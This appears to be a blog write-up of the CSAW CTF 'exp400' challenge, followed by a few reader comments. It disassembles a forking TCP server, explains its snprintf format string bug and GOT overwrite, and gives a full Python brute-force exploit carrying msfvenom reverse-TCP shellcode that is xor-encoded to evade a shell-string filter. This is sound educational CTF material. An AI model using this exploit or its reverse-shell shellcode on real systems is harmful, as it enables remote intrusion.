I haven’t had the time recently and missed participation in CSAW CTF. I have obtained some of the challenges and will talk about exp. 400. It’s a format string exploitation challenge, and we’ll analyze how it works and how to exploit it. Let us start from the main()
[0x080487e0]> pdf @ sym.main
/ function: sym.main (18)
| 0x08048894 sym.main:
| 0x08048894 55 push ebp
| 0x08048895 89e5 mov ebp, esp
| 0x08048897 83e4f0 and esp, 0xfffffff0
| 0x0804889a e82e000000 call dword sym.tcp_setup
| ; sym.tcp_setup(unk) (sym.tcp_setup+0)
| 0x0804889f b800000000 mov eax, 0x0
| 0x080488a4 c9 leave
\ 0x080488a5 c3 ret
; ------------
It calls tcp_setup() that’s all it does so let’s see how tcp_setup look like,
; CODE (CALL) XREF 0x0804889a (sym.main)
/ function: sym.tcp_setup (856)
| 0x080488cd sym.tcp_setup:
| 0x080488cd 55 push ebp
| 0x080488ce 89e5 mov ebp, esp
| 0x080488d0 81ece8000000 sub esp, 0xe8
| 0x080488d6 c745c401000000 mov dword [ebp-0x3c], 0x1
| 0x080488dd c744240800000000 mov dword [esp+0x8], 0x0
| 0x080488e5 c744240401000000 mov dword [esp+0x4], 0x1
| 0x080488ed c7042402000000 mov dword [esp], 0x2
| 0x080488f4 e897feffff call dword imp.socket
| ; imp.socket() (imp.socket+0)
| 0x080488f9 8945f4 mov [ebp-0xc], eax
| 0x080488fc 837df4ff cmp dword [ebp-0xc], 0xff
| ,=< 0x08048900 7518 jnz loc.0804891a
| | 0x08048902 c70424b1900408 mov dword [esp], 0x80490b1
| | 0x08048909 e892fdffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x0804890e c7042401000000 mov dword [esp], 0x1
| | 0x08048915 e8c6fdffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| | ; CODE (JMP) XREF 0x08048900 (sym.tcp_setup)
/ loc: loc.0804891a (779)
| | 0x0804891a loc.0804891a:
| `-> 0x0804891a 8b45f4 mov eax, [ebp-0xc]
| 0x0804891d c744241004000000 mov dword [esp+0x10], 0x4
| 0x08048925 8d55c4 lea edx, [ebp-0x3c]
| 0x08048928 8954240c mov [esp+0xc], edx
| 0x0804892c c744240802000000 mov dword [esp+0x8], 0x2
| 0x08048934 c744240401000000 mov dword [esp+0x4], 0x1
| 0x0804893c 890424 mov [esp], eax
| 0x0804893f e8ecfcffff call dword imp.setsockopt
| ; imp.setsockopt() (imp.setsockopt+0)
| 0x08048944 83f8ff cmp eax, 0xff
| ,==< 0x08048947 7518 jnz loc.08048961
| | 0x08048949 c70424b3900408 mov dword [esp], 0x80490b3
| | 0x08048950 e84bfdffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x08048955 c7042401000000 mov dword [esp], 0x1
| | 0x0804895c e87ffdffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| | ; CODE (JMP) XREF 0x08048947 (sym.tcp_setup)
/ loc: loc.08048961 (708)
| | 0x08048961 loc.08048961:
| `--> 0x08048961 66c745dc0200 mov word [ebp-0x24], 0x2
| 0x08048967 c70424a05b0000 mov dword [esp], 0x5ba0
| 0x0804896e e81dfdffff call dword imp.htons
| ; imp.htons() (imp.htons+0)
| 0x08048973 668945de mov [ebp-0x22], ax
| 0x08048977 c745e000000000 mov dword [ebp-0x20], 0x0
| 0x0804897e 8d45dc lea eax, [ebp-0x24]
| 0x08048981 83c008 add eax, 0x8
| 0x08048984 c70000000000 mov dword [eax], 0x0
| 0x0804898a c7400400000000 mov dword [eax+0x4], 0x0
| 0x08048991 8b45f4 mov eax, [ebp-0xc]
| 0x08048994 c744240810000000 mov dword [esp+0x8], 0x10
| 0x0804899c 8d55dc lea edx, [ebp-0x24]
| 0x0804899f 89542404 mov [esp+0x4], edx
| 0x080489a3 890424 mov [esp], eax
| 0x080489a6 e875fdffff call dword 0x8048720
| ; imp.bind() (imp.bind+0)
| 0x080489ab 83f8ff cmp eax, 0xff
| ,===< 0x080489ae 7518 jnz loc.080489c8
| | 0x080489b0 c70424b6900408 mov dword [esp], 0x80490b6
| | 0x080489b7 e8e4fcffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x080489bc c7042401000000 mov dword [esp], 0x1
| | 0x080489c3 e818fdffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| | ; CODE (JMP) XREF 0x080489ae (sym.tcp_setup)
/ loc: loc.080489c8 (605)
| | 0x080489c8 loc.080489c8:
| `---> 0x080489c8 8b45f4 mov eax, [ebp-0xc]
| 0x080489cb c744240464000000 mov dword [esp+0x4], 0x64
| 0x080489d3 890424 mov [esp], eax
| 0x080489d6 e895fdffff call dword imp.listen
| ; imp.listen() (imp.listen+0)
| 0x080489db 83f8ff cmp eax, 0xff
| ,====< 0x080489de 7518 jnz loc.080489f8
| | 0x080489e0 c70424b9900408 mov dword [esp], 0x80490b9
| | 0x080489e7 e8b4fcffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x080489ec c7042401000000 mov dword [esp], 0x1
| | 0x080489f3 e8e8fcffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| | ; CODE (JMP) XREF 0x080489de (sym.tcp_setup)
/ loc: loc.080489f8 (557)
| | 0x080489f8 loc.080489f8:
| `----> 0x080489f8 c745c810000000 mov dword [ebp-0x38], 0x10
| 0x080489ff c78538ffffffa68. mov dword [ebp+0xffffff38], 0x80488a6
| 0x08048a09 8d8538ffffff lea eax, [ebp+0xffffff38]
| 0x08048a0f 83c004 add eax, 0x4
| 0x08048a12 890424 mov [esp], eax
| 0x08048a15 e846fdffff call dword imp.sigemptyset
| ; imp.sigemptyset() (imp.sigemptyset+0)
| 0x08048a1a c745bc00000010 mov dword [ebp-0x44], 0x10000000
| 0x08048a21 8d8538ffffff lea eax, [ebp+0xffffff38]
| 0x08048a27 c744240800000000 mov dword [esp+0x8], 0x0
| 0x08048a2f 89442404 mov [esp+0x4], eax
| 0x08048a33 c7042411000000 mov dword [esp], 0x11
| 0x08048a3a e861fdffff call dword imp.sigaction
| ; imp.sigaction() (imp.sigaction+0)
| 0x08048a3f 83f8ff cmp eax, 0xff
| ,=====< 0x08048a42 7519 jnz loc.08048a5d
| | 0x08048a44 c70424bc900408 mov dword [esp], 0x80490bc
| | 0x08048a4b e850fcffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x08048a50 c7042401000000 mov dword [esp], 0x1
| | 0x08048a57 e884fcffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| ; CODE (JMP) XREF 0x08048b5f (sym.tcp_setup)
/ loc: loc.08048a5c (457)
| 0x08048a5c loc.08048a5c:
| --------> 0x08048a5c 90 nop
| | ; CODE (JMP) XREF 0x08048a42 (sym.tcp_setup)
/ loc: loc.08048a5d (456)
| | 0x08048a5d loc.08048a5d:
| `-----> 0x08048a5d 8b45f4 mov eax, [ebp-0xc]
| 0x08048a60 8d55c8 lea edx, [ebp-0x38]
| 0x08048a63 89542408 mov [esp+0x8], edx
| 0x08048a67 8d55cc lea edx, [ebp-0x34]
| 0x08048a6a 89542404 mov [esp+0x4], edx
| 0x08048a6e 890424 mov [esp], eax
| 0x08048a71 e83afcffff call dword 0x80486b0
| ; imp.accept() (imp.accept+0)
| 0x08048a76 8945f0 mov [ebp-0x10], eax
| 0x08048a79 837df0ff cmp dword [ebp-0x10], 0xff
| ,======< 0x08048a7d 7518 jnz loc.08048a97
| | 0x08048a7f c70424bf900408 mov dword [esp], 0x80490bf
| | 0x08048a86 e815fcffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x08048a8b c7042401000000 mov dword [esp], 0x1
| | 0x08048a92 e849fcffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| | ; CODE (JMP) XREF 0x08048a7d (sym.tcp_setup)
/ loc: loc.08048a97 (398)
| | 0x08048a97 loc.08048a97:
| `------> 0x08048a97 e8b4fcffff call dword imp.fork
| | ; imp.fork() (imp.fork+0)
| 0x08048a9c 8945ec mov [ebp-0x14], eax
| 0x08048a9f 837dec00 cmp dword [ebp-0x14], 0x0
| ,=======< 0x08048aa3 0f85a8000000 jnz dword loc.08048b51
| | 0x08048aa9 e882fcffff call dword imp.getgid
| | ; imp.getgid() (imp.getgid+0)
| | 0x08048aae 890424 mov [esp], eax
| | 0x08048ab1 e80afcffff call dword imp.setgid
| | ; imp.setgid() (imp.setgid+0)
| | 0x08048ab6 85c0 test eax, eax
| ========< 0x08048ab8 7418 jz loc.08048ad2
| | 0x08048aba c70424c1900408 mov dword [esp], 0x80490c1
| | 0x08048ac1 e8dafbffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x08048ac6 c7042401000000 mov dword [esp], 0x1
| | 0x08048acd e80efcffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| ; CODE (JMP) XREF 0x08048ab8 (sym.tcp_setup)
/ loc: loc.08048ad2 (339)
| 0x08048ad2 loc.08048ad2:
| --------> 0x08048ad2 e899fbffff call dword imp.getuid
| ; imp.getuid() (imp.getuid+0)
| | 0x08048ad7 890424 mov [esp], eax
| | 0x08048ada e8a1fcffff call dword imp.setuid
| | ; imp.setuid() (imp.setuid+0)
| | 0x08048adf 85c0 test eax, eax
| ========< 0x08048ae1 7418 jz loc.08048afb
| | 0x08048ae3 c70424c4900408 mov dword [esp], 0x80490c4
| | 0x08048aea e8b1fbffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x08048aef c7042401000000 mov dword [esp], 0x1
| | 0x08048af6 e8e5fbffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| ; CODE (JMP) XREF 0x08048ae1 (sym.tcp_setup)
/ loc: loc.08048afb (298)
| 0x08048afb loc.08048afb:
| --------> 0x08048afb c7042400000000 mov dword [esp], 0x0
| | 0x08048b02 e879fcffff call dword imp.setuid
| | ; imp.setuid() (imp.setuid+0)
| | 0x08048b07 83f8ff cmp eax, 0xff
| ========< 0x08048b0a 7418 jz loc.08048b24
| | 0x08048b0c c70424c8900408 mov dword [esp], str.exiting
| | 0x08048b13 e888fbffff call dword imp.perror
| | ; imp.perror() (imp.perror+0)
| | 0x08048b18 c7042401000000 mov dword [esp], 0x1
| | 0x08048b1f e8bcfbffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| ; CODE (JMP) XREF 0x08048b0a (sym.tcp_setup)
/ loc: loc.08048b24 (257)
| 0x08048b24 loc.08048b24:
| --------> 0x08048b24 8b45f4 mov eax, [ebp-0xc]
| | 0x08048b27 890424 mov [esp], eax
| | 0x08048b2a e891fcffff call dword imp.close
| | ; imp.close() (imp.close+0)
| | 0x08048b2f 8b45f0 mov eax, [ebp-0x10]
| | 0x08048b32 890424 mov [esp], eax
| | 0x08048b35 e843000000 call dword sym.sdoomsday
| | ; sym.sdoomsday() (sym.sdoomsday+0)
| | 0x08048b3a 8b45f0 mov eax, [ebp-0x10]
| | 0x08048b3d 890424 mov [esp], eax
| | 0x08048b40 e87bfcffff call dword imp.close
| | ; imp.close() (imp.close+0)
| | 0x08048b45 c7042400000000 mov dword [esp], 0x0
| | 0x08048b4c e88ffbffff call dword imp.exit
| | ; imp.exit() (imp.exit+0)
| | ; CODE (JMP) XREF 0x08048aa3 (sym.tcp_setup)
/ loc: loc.08048b51 (212)
| | 0x08048b51 loc.08048b51:
| `-------> 0x08048b51 8b45f0 mov eax, [ebp-0x10]
| 0x08048b54 890424 mov [esp], eax
| 0x08048b57 e864fcffff call dword imp.close
| ; imp.close() (imp.close+0)
| 0x08048b5c 83f8ff cmp eax, 0xff
| ========< 0x08048b5f 0f85f7feffff jnz dword loc.08048a5c
| 0x08048b65 c70424d0900408 mov dword [esp], 0x80490d0
| 0x08048b6c e82ffbffff call dword imp.perror
| ; imp.perror() (imp.perror+0)
| 0x08048b71 c7042401000000 mov dword [esp], 0x1
| 0x08048b78 e863fbffff call dword imp.exit
| ; imp.exit() (imp.exit+0)
| ; CODE (CALL) XREF 0x08048b35 (sym.tcp_setup)
/ function: sym.sdoomsday (168)
| 0x08048b7d sym.sdoomsday:
| 0x08048b7d 55 push ebp
| 0x08048b7e 89e5 mov ebp, esp
| 0x08048b80 81ec28020000 sub esp, 0x228
| 0x08048b86 8b4508 mov eax, [ebp+0x8]
| 0x08048b89 890424 mov [esp], eax
| 0x08048b8c e843010000 call dword sym.q
| ; sym.q(unk) (sym.q+0)
| 0x08048b91 8b4508 mov eax, [ebp+0x8]
| 0x08048b94 c744240c00000000 mov dword [esp+0xc], 0x0
| 0x08048b9c c7442408ff010000 mov dword [esp+0x8], 0x1ff
| 0x08048ba4 c744240420b10408 mov dword [esp+0x4], 0x804b120
| 0x08048bac 890424 mov [esp], eax
| 0x08048baf e8fcfbffff call dword imp.recv
| ; imp.recv() (imp.recv+0)
| 0x08048bb4 c74424040a000000 mov dword [esp+0x4], 0xa
| 0x08048bbc c7042420b10408 mov dword [esp], sym.statement.4029
| 0x08048bc3 e828fbffff call dword imp.strchr
| ; imp.strchr() (imp.strchr+0)
| 0x08048bc8 8945f4 mov [ebp-0xc], eax
| 0x08048bcb 8b45f4 mov eax, [ebp-0xc]
| 0x08048bce c60000 mov byte [eax], 0x0
| 0x08048bd1 c744240420b10408 mov dword [esp+0x4], 0x804b120
| 0x08048bd9 8b4508 mov eax, [ebp+0x8]
| 0x08048bdc 890424 mov [esp], eax
| 0x08048bdf e8c0010000 call dword sym.ssc
| ; sym.ssc() (sym.ssc+0)
| 0x08048be4 b820b10408 mov eax, sym.statement.4029
| 0x08048be9 89442408 mov [esp+0x8], eax
| 0x08048bed c7442404ff030000 mov dword [esp+0x4], 0x3ff
| 0x08048bf5 8d85f4fdffff lea eax, [ebp+0xfffffdf4]
| 0x08048bfb 890424 mov [esp], eax
| 0x08048bfe e83dfbffff call dword imp.snprintf
| ; imp.snprintf() (imp.snprintf+0)
| 0x08048c03 8b4508 mov eax, [ebp+0x8]
| 0x08048c06 890424 mov [esp], eax
| 0x08048c09 e817000000 call dword sym.cd
| ; sym.cd() (sym.cd+0)
| 0x08048c0e 8d85f4fdffff lea eax, [ebp+0xfffffdf4]
| 0x08048c14 89442404 mov [esp+0x4], eax
| 0x08048c18 8b4508 mov eax, [ebp+0x8]
| 0x08048c1b 890424 mov [esp], eax
| 0x08048c1e e8ff000000 call dword sym.sv
| ; sym.sv() (sym.sv+0)
| 0x08048c23 c9 leave
\ 0x08048c24 c3 ret
; ------------
What it does is creates a socket file descriptor set socket operator bind to port 0x5ba0 or 23456, liste(socketfd, 100), remove a set of signals and set a signal action for SIGCHILD if raised will call sgc(). Then it goes in a accepting loop on the sockfd creating a parent child then comes sdoomsday() let’s see this function
[0x080487e0]> pdf @ sym.sdoomsday
; CODE (CALL) XREF 0x08048b35 (sym.tcp_setup)
/ function: sym.sdoomsday (168)
| 0x08048b7d sym.sdoomsday:
| 0x08048b7d 55 push ebp
| 0x08048b7e 89e5 mov ebp, esp
| 0x08048b80 81ec28020000 sub esp, 0x228
| 0x08048b86 8b4508 mov eax, [ebp+0x8]
| 0x08048b89 890424 mov [esp], eax
| 0x08048b8c e843010000 call dword sym.q
| ; sym.q(unk) (sym.q+0)
| 0x08048b91 8b4508 mov eax, [ebp+0x8]
| 0x08048b94 c744240c00000000 mov dword [esp+0xc], 0x0
| 0x08048b9c c7442408ff010000 mov dword [esp+0x8], 0x1ff
| 0x08048ba4 c744240420b10408 mov dword [esp+0x4], 0x804b120
| 0x08048bac 890424 mov [esp], eax
| 0x08048baf e8fcfbffff call dword imp.recv
| ; imp.recv() (imp.recv+0)
| 0x08048bb4 c74424040a000000 mov dword [esp+0x4], 0xa
| 0x08048bbc c7042420b10408 mov dword [esp], sym.statement.4029
| 0x08048bc3 e828fbffff call dword imp.strchr
| ; imp.strchr() (imp.strchr+0)
| 0x08048bc8 8945f4 mov [ebp-0xc], eax
| 0x08048bcb 8b45f4 mov eax, [ebp-0xc]
| 0x08048bce c60000 mov byte [eax], 0x0
| 0x08048bd1 c744240420b10408 mov dword [esp+0x4], 0x804b120
| 0x08048bd9 8b4508 mov eax, [ebp+0x8]
| 0x08048bdc 890424 mov [esp], eax
| 0x08048bdf e8c0010000 call dword sym.ssc
| ; sym.ssc() (sym.ssc+0)
| 0x08048be4 b820b10408 mov eax, sym.statement.4029
| 0x08048be9 89442408 mov [esp+0x8], eax
| 0x08048bed c7442404ff030000 mov dword [esp+0x4], 0x3ff
| 0x08048bf5 8d85f4fdffff lea eax, [ebp+0xfffffdf4]
| 0x08048bfb 890424 mov [esp], eax
| 0x08048bfe e83dfbffff call dword imp.snprintf
| ; imp.snprintf() (imp.snprintf+0)
| 0x08048c03 8b4508 mov eax, [ebp+0x8]
| 0x08048c06 890424 mov [esp], eax
| 0x08048c09 e817000000 call dword sym.cd
| ; sym.cd() (sym.cd+0)
| 0x08048c0e 8d85f4fdffff lea eax, [ebp+0xfffffdf4]
| 0x08048c14 89442404 mov [esp+0x4], eax
| 0x08048c18 8b4508 mov eax, [ebp+0x8]
| 0x08048c1b 890424 mov [esp], eax
| 0x08048c1e e8ff000000 call dword sym.sv
| ; sym.sv() (sym.sv+0)
| 0x08048c23 c9 leave
\ 0x08048c24 c3 ret
; ------------
this simply translates to
sdoomsday(int sockfd)
{
q(sockfd);
recv(sockfd, buffer, 0x1ff, 0);
*strchr(buffer, 0x0a) = 0;
ssc(sockfd, 0x804b120);
}
q() will ask a question the question ‘Saying..’, then in sdoomsday() will recv answer saves it to buffer and removes last 0x0a, then calls ssc() which will search for a list of strings that are /bin/sh , /bin/bash, /bin/..etc if found it will print malicious activity and exit the child. if they’re not found it will reach cd() which prints 5-1 and then sv() which pritns a volcano and the text next to it. The snprintf where not used with string place holders leaving the user to force ones which causes a format string vulnerability and can write to specific addresses and control the execution flow.
[0x080487e0]> pdf @ sym.sv
; CODE (CALL) XREF 0x08048c1e (sym.tcp_setup)
/ function: sym.sv (130)
| 0x08048d22 sym.sv:
| 0x08048d22 55 push ebp
| 0x08048d23 89e5 mov ebp, esp
| 0x08048d25 57 push edi
| 0x08048d26 81ec24080000 sub esp, 0x824
| 0x08048d2c a1a0b00408 mov eax, [sym.volcano]
| 0x08048d31 8b550c mov edx, [ebp+0xc]
| 0x08048d34 8954240c mov [esp+0xc], edx
| 0x08048d38 89442408 mov [esp+0x8], eax
| 0x08048d3c c7442404ff070000 mov dword [esp+0x4], 0x7ff
| 0x08048d44 8d85f8f7ffff lea eax, [ebp+0xfffff7f8]
| 0x08048d4a 890424 mov [esp], eax
| 0x08048d4d e8eef9ffff call dword imp.snprintf
| ; imp.snprintf() (imp.snprintf+0)
| 0x08048d52 8d85f8f7ffff lea eax, [ebp+0xfffff7f8]
| 0x08048d58 c785f4f7fffffff. mov dword [ebp+0xfffff7f4], 0xffffffff
| 0x08048d62 89c2 mov edx, eax
| 0x08048d64 b800000000 mov eax, 0x0
| 0x08048d69 8b8df4f7ffff mov ecx, [ebp+0xfffff7f4]
| 0x08048d6f 89d7 mov edi, edx
| 0x08048d71 f2ae repne scasb
| 0x08048d73 89c8 mov eax, ecx
| 0x08048d75 f7d0 not eax
| 0x08048d77 8d50ff lea edx, [eax-0x1]
| 0x08048d7a 8b4508 mov eax, [ebp+0x8]
| 0x08048d7d c744240c00000000 mov dword [esp+0xc], 0x0
| 0x08048d85 89542408 mov [esp+0x8], edx
| 0x08048d89 8d95f8f7ffff lea edx, [ebp+0xfffff7f8]
| 0x08048d8f 89542404 mov [esp+0x4], edx
| 0x08048d93 890424 mov [esp], eax
| 0x08048d96 e835faffff call dword 0x80487d0
| ; imp.send() (imp.send+0)
| 0x08048d9b 81c424080000 add esp, 0x824
| 0x08048da1 5f pop edi
| 0x08048da2 5d pop ebp
\ 0x08048da3 c3 ret
; ------------
What we can do to exploit it is write over the send.plt using snprintf and then when sv() calls send it will call our address the shellcode. The shellcode must not contain any of the strings that will be checked in ssc() otherwise we will never reach sv() and won’t be able to exploit it. This can be bypassed by using an xored shell or any other algorithm you want to use if you’re going to write the shellcode.
Our exploitation technique will be by bruteforcing a range in the stack waiting to reach nopsled to our shellcode this will work because we’re exploiting the child and not causing any problems to the parent process, also because all signals were removed. So let us start by finding the send plt
:: exp400 ? objdump -R ./chall | g send 0804b068 R_386_JUMP_SLOT send
so our got is 0804b068 0804b068+1 0804b068+2 0804b068+3 0804b068+4
the return address need to be calculated following this rule
n1 = (address) & 0x000000ff
n2 = (address >> 8 ) & 0x0000ff
n3 = (address >> 16) & 0x00ff
n4 = (address >> 24) & 0xff
r1 = n1 - 0x10
if(r1 < 0): r1 &= 0xff
if(r1 == 0): r1 = 0xff + 1
r2 = n2 - n1
if(r2 < 0): r2 &= 0xff
if(r2 == 0): r2 = 0xff + 1
r3 = n3 - n2
if(r3 < 0): r3 &= 0xff
if(r3 == 0): r3 = 0xff + 1
r4 = n4 - n3
if(r4 < 0): r4 &= 0xff if(r4 == 0): r4 = 0xff + 1
This rule is easy to follow for example if our address is 0xabad1dea then n1=0xab n2=ad, n3=1d, n4=ea then :
- the first minus 0×10 if less than 0 and 0xff if is 0 then 0xff+1
- the second minus the first if less than 0 and 0xff if is 0 then 0xff+1
- ….
and so on until you get four numbers that will be used to write the return address So what’s next ? not much is left we have our got, we have made our return address all we have left is writing the place holders with the offsets to write and the shellcode. Our exploit will go something similar to this :
got, got+1, got+2, got+3, “%1$”, r1, “x%”, offset, “$n%1$”, r2, “x%”, offset+1, “$n%1$”, r3, “x%”, offset+2, “$n%1$”, r4, “x%”, offset+3, “$n”, shellcode, 0x0a
to explain the place holders:
- %x is to read stack
- %n is to write memory
- $[place]%n to write somewhere in a position
the rests are addresses to write to, things to write, and offsetting. The offset can be obtained by testing and seeing how things are aligned in the stack for example in this challenge send something like A%x%x%x%x and see when you will see 0×41414141 the number of %x’s will be your offset ‘the location of the word in the stack is your offset from where you positioned if that makes it easier’ So here’s an exploit example :
#!/bin/python import socket
def generate_retaddr(address):
n4 = (address >> 24) & 0xff
n3 = (address >> 16) & 0x00ff
n2 = (address >> 8 ) & 0x0000ff
n1 = (address) & 0x000000ff
r1 = n1 - 0x10
if(r1 < 0): r1 &= 0xff
if(r1 == 0): r1 = 0xff + 1
r2 = n2 - n1
if(r2 < 0): r2 &= 0xff
if(r2 == 0): r2 = 0xff + 1
r3 = n3 - n2
if(r3 < 0): r3 &= 0xff
if(r3 == 0): r3 = 0xff + 1
r4 = n4 - n3
if(r4 < 0): r4 &= 0xff
if(r4 == 0): r4 = 0xff + 1
return ["%.4d" % r1,
"%.4d" % r2,
"%.4d" % r3,
"%.4d" % r4]
def generate_offset(offset):
return [
"%.5d" % int(offset+0),
"%.5d" % int(offset+1),
"%.5d" % int(offset+2),
"%.5d" % int(offset+3)
]
def main():
# msfvenom -p linux/x86/shell/reverse_tcp LHOST="127.0.0.1" LPORT="1337" -b '\x00\x0a' -n 191"
shellcode =\
"\x3f\x84\xd5\x11\xe0\x27\x73\x7e\x70\x30\xeb\x7c\x3a\xf6" +\
"\xd3\xe3\x7d\x78\x04\x0c\xa8\x99\x88\xd6\x41\x21\xe1\x48" +\
"\x77\x35\x83\xe2\x43\x72\x24\x74\x71\x19\xf9\xbb\x91\xb1" +\
"\x3f\x76\x4b\x37\xb9\x9f\x80\xfd\x42\x7f\x4a\x3c\x15\x66" +\
"\xb3\xb5\x08\xf8\xb4\x75\x1c\x7a\x49\xb2\x93\x1d\xa9\xb7" +\
"\x7b\x34\x71\x67\x7b\x2d\x98\x79\x0d\x81\xd2\xd0\xe0\x12" +\
"\xf5\xb6\xb8\x74\x1a\xd4\x7c\x3d\x78\x40\x75\x39\xeb\x2f" +\
"\xb0\x92\x73\x05\x85\xc1\xe2\x25\x76\x32\xfc\xba\x7f\x14" +\
"\x9b\x90\x77\x2c\x8d\x93\x99\x7a\x41\x40\x49\xb6\x66\xa9" +\
"\x70\x1d\x72\x3b\xd1\xe3\x31\xf8\x3d\xb4\x35\xb7\xb9\x7e" +\
"\x05\x7d\x18\xe1\x14\x20\xf9\x4b\x91\x04\x9b\x1c\x9f\x37" +\
"\x3f\x4a\xb0\x43\xb3\xfc\xba\x0c\x86\xd4\x25\x34\x15\xf5" +\
"\x3c\x27\x2c\xd5\xbb\x42\xb2\x90\x2f\xb5\xa8\x24\xb8\x67" +\
"\x92\x2d\x98\x0d\xb1\xfd\x48\x38\xd6\xb8\x25\x0c\x73\xcf" +\
"\xd9\xea\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0d\x83\xc6\x04" +\
"\x31\x46\x10\x03\x46\x10\xc7\xf9\x42\x14\x54\x41\xf6\xc0" +\
"\x58\x2f\x9e\x4c\xd5\x4e\x93\xed\x72\xcb\x44\x91\x7c\xec" +\
"\x95\x0b\x14\xe9\xac\xb5\xb7\x78\x2f\x53\x51\x23\xe0\xf5" +\
"\xca\x5a\xe1\xb5\x39\xdc\xb9\xa0\x77\xd1\x8d\xd0\xba\x6a" +\
"\x12\x37"
addr_beg = 0xffff0000
addr_end = 0xffffffff
step = 0x5f
tries = 0
while(addr_beg<=addr_end):
print "Trying : 0x%.8x (%d bytes)" % (addr_beg, len(shellcode))
# GOT plt for send
got = ["\x68\xb0\x04\x08", "\x69\xb0\x04\x08", "\x6a\xb0\x04\x08", "\x6b\xb0\x04\x08"]
# ret
ret = generate_retaddr(addr_beg)
# offsets
off = generate_offset(5)
# evil result
evil = got[0] + got[1] + got[2] + got[3]
evil += "%1$"
evil += ret[0]
evil += "x%"
evil += off[0]
evil += "$n%1$"
evil += ret[1]
evil += "x%"
evil += off[1]
evil += "$n%1$"
evil += ret[2]
evil += "x%"
evil += off[2]
evil += "$n%1$"
evil += ret[3]
evil += "x%"
evil += off[3]
evil += "$n"
evil += shellcode+'\n'
# send evil
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 23456))
s.send(evil)
s.recv(1024)
s.close()
del s
# next
addr_beg += step
tries += 1
print "Tried %d times" % tries
if __name__ == '__main__':
main()
This exploit will send the evil with return address on the stack from 0xffffffff to 0xffff0000 stepping half the nopseld of the shell 0x5f until it hits the nopsled reaching the shellcode which will connect back to us.
The shellcode used in this exploit is x86 reverse tcp shellcode encoded with the polymorphic xor encoder and execluding 0×00 and 0x0a as bad characters. I probably have missed something here please let me know if I did.


Sorry about the lines that were messed up by WP
when i was trying fsb, i continuously got SIGSEGV whenever i sent ‘%600c’ (or longer than that)
so i couldn’t make payload!
do u know why it didn’t work and how did u bypass that?
w311 d0n3 d00d
thanks
Can’t say much from only this. Need to see debug info at least